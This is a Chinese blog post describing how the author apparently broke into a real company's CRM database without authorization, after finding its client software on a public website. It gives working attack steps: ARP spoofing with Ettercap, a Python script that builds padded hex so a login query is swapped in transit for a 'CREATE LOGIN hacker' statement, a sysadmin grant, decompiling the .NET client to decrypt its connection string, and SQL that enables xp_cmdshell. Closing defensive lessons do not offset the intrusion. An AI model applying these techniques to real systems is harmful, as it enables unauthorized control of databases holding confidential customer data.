分类: 网络与安全
2016-05-16 13:33:37
今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例。从技术上讲,这个例子没什么高深的,还有一点狗屎运的成分,但是它又足够典型,典型到我可以讲出很多大道理用来装逼。So,我们开始吧。
CRM系统是什么,如果你不知道的话,请自行Google。从数据的角度讲,它包含了一个公司所有往来客户的机密资料,如果泄露的话,后果很严重。下面是我无意中发现的一个网站,挂着一个CRM软件的下载链接。开始的时候我以为这个是一家卖CRM的公司,但是看着又不太像。
从网站的其他信息看,这仿佛是一个公司内部的CRM系统,于是我下载下来。
直接是一个登录界面,我先随便输入了一个用户名,没有输入密码。
然后我又输入了一个“admin”.
通过简单的尝试,我们可以确定这不是通用的CRM系统,是定制的,而且可以在外网使用,是否有绑定计算机不得而知,外网服务器IP不知道,是否直接连接外网的数据库服务器不知道。下面我们通过抓包来确认一下。
启动Wireshark,然后点击登录按钮,立即停止抓包,我发现了一连串的TDS包。
下面的信息确认这个软件是直接连接的数据库服务器,并没有通过后端的服务接口来返回数据。
查询语句很明显,但是也很奇怪,开发者在用用户名查询密码,然后要做的应该是用返回的密码和用户输入的密码进行比对。不过还好,它返回的密码是加密过的。
根据对sqlserver 的了解,在登录认证阶段,默认是加密传输的,并不会暴露用户名和密码,但是我们可以通过从数据包中分析出数据库的版本和服务器的基本信息。
访问的数据库名:
服务器名称:
当然从名字上看应该是win7系统,win7做服务器也比较奇葩。
数据版本:
SqlServer 10.0,应该是2008版本。
ok,现在简单总结下。通过抓包分析,我们得到了目标服务器的IP,打开的端口至少有80和1433,操作系统是win7,数据库为SQLServer2008,连接的目标数据库名称。下面我们有三个方向可以去努力,一个是找服务器和web应用的漏洞去渗透,第二个是继续挖掘软件本身的漏洞,第三个是攻击数据库。我们不知道当前应用登录数据库所使用的账号的权限是怎么样的,但是已经能够大致判断软件编写者的编程水平了,从编程水平去推断90%的可能性是sa用户或者sa权限。下面邪恶的想法来了,拦截并修改查询语句,新建一个数据库管理账号,然后使用工具直接连接上去,那么不就控制了数据库了吗,控制数据库后是不是还有机会控制服务器呢?试试便知。
在本机就没必要中间人攻击了吧?不过我还是非常想利用Ettercap的Filter和replace功能,可以省掉很多麻烦。
首先在虚拟机里启动我的Kali Linux,然后在Kali里面启动Ettercap进行Arp欺骗测试(Ettercap的详细使用请google,这里简单说明)。
第一步,开启路由转发功能。
# 启用IP路由转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
第二步,在”/etc/ettercap/etter.conf”中配置转发。
第三步,arp欺骗。
第四步,测试。
使用driftnet 测试,是否能拦截主机的图片请求,如果能,证明arp欺骗成功。
上面的测试证明了中间人攻击可行,那么下面我们开始构造Filter脚本。先创建一个1433.filter文件,输入如下内容:
search和replace的内容是需要我们按需构造的。search的内容我们可以在刚才的抓包工具中获取到,就是从数据库中查询密码的sql语句,replace的内容我这里想要它执行这样的语句:
CREATE LOGIN hacker WITH PASSWORD=’YouGotHacked1#’;
下面我们再回头看看要搜索的元素请求数据。
select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'
这份数据每个字符后面都填充了\x00的null byte,这是不可打印的,这意味着我们需要将内容全部转为16进制,然后填充\x00。
还有另一个问题要注意,替换的数据必须与原数据长度相同,否则会引起TCP数据传输中断。手工去做这件事略微有点麻烦,我还是写段小程序来搞定吧。
def stringToHex(string,padLength=0):
s1=[hex(ord(s)).replace("0x",'\\x') for s in string];
result='';
for s in s1:
result=result+s+'\\x00'
for num in range(padLength):
result=result+'\\x20\\x00'
return result;
def getHex(sourceSql,targetSql):
if len(sourceSql)
print('erro');
else:
padLength=len(sourceSql)-len(targetSql);
print(stringToHex(sourceSql));
print(stringToHex(targetSql,padLength));
def main():
source="select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'";
target="CREATE LOGIN hacker WITH PASSWORD='YouGotHacked1#'";
getHex(source,target);
if __name__=='__main__':
main();
一小段python,不是什么高明的代码就不解释了,最终filter脚本的样子:
下面我们将1433.filter文件生成为Ettercap能够使用的ef文件。
再次运行 Ettercap:
此时点击软件的登录按钮。
我们看到filter脚本打印出来的“success replace”,是不是真的成功了呢?
我使用vs2015的数据库连接工具,进行连接,奇迹就这么出现了:
连接成功。不过权限有点问题,我们可以再次修改Sql语句,提升它的权限,比如下面这句话:
ALTER SERVER ROLE sysadmin ADD MEMBER hacker;
这一步就不详细演示了,流程和上面一样。下面我们再回到另一个分支上,来找找软件本身的弱点。
看了下面的内容,你一定会觉得我上面的操作都是瞎费劲,几分钟就解决问题了。这个例子确实是这样,不过上面的方法更通用一些,而且难度不高,是需要优先掌握的。
在软件的安装目录中,我首先看到了这样几个dll文件:
作为一名资深的.NET程序员,看到名字我就知道这是.NET写的程序了。于是先找到config文件,看看程序员是不是把数据库连接串写到这里了。
连接串确实在这里了,不过加密了。
但是到这里,我对这个程序已经没什么欲望了,即使它防护做的再好,那也是个.NET程序,是.NET程序,我就能攻破它(专业破解.NET,从未失败过)。不过令人失望的是,这个程序连基本代码混淆都没做,当然更没有壳,也没有代码加密。使用反编译工具随便点了点,然后拷贝了几段代码:
还是要忍不住吐槽这代码写的太渣了,不过成功的解密了连接串,成功登录了数据库,不是SA用户,但是却有sa权限,试了下xp_cmdshell,默认被数据库禁用了。执行下面的sql语句解封,
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
好了,又到了装逼的环节了。这段总结是说给像我这样平时大道理一堆堆,写代码的时候一坨坨的程序员的。
首先,权限管理必须要严格控制。一个在公司内部使用的系统,为什么要挂到外网上,让任何人都可以下载?数据库权限控制,不同的系统划分不同的账号这是基本常识(我也经常不划分,就是为了偷懒),不同的账号控制不同的权限,甚至账号可以细化到读/写,表,存储过程级别。既然用户有角色划分,那么我们的代码必须也要有访问权限划分。不是在代码内部要访问数据的时候加个if-else,应该在调用还没开始就挡在外面。
第二,一个必须联网才能使用的程序,为什么不把数据访问,核心业务逻辑都放在远端的服务器上,公开接口给客户端调用呢?只有一个原因,程序员太懒。我就是搞winform的,你要老子搞什么服务端,不会!连基本的分层和服务划分都不注意,在基础架构这就留下了安全隐患,同时客户端的安全漏洞直接导致服务器被攻陷。
第三,.NET/Java 这类应用没有办法绝对防止反编译,只是时间问题。但是这不代表我们就不应该做程序保护,加壳,源码混淆,程序集加密,结合服务端获取进行rsa加密解密的动态程序集构建技术,是可以把90%的初级用户挡在门外的。城门大开就不对了。
这些话题就不展开了,网上一搜一大堆。
好吧,没什么值得继续的了,到此结束吧。
下面是广告时间:
关注微信订阅号,持续推送优秀安全类文章。
欢迎加入网络安全群:147098303。
最新网络公开课预告:
时间:5月24日
内容:python黑客编程之局域网嗅探和敏感信息探测
报名地址: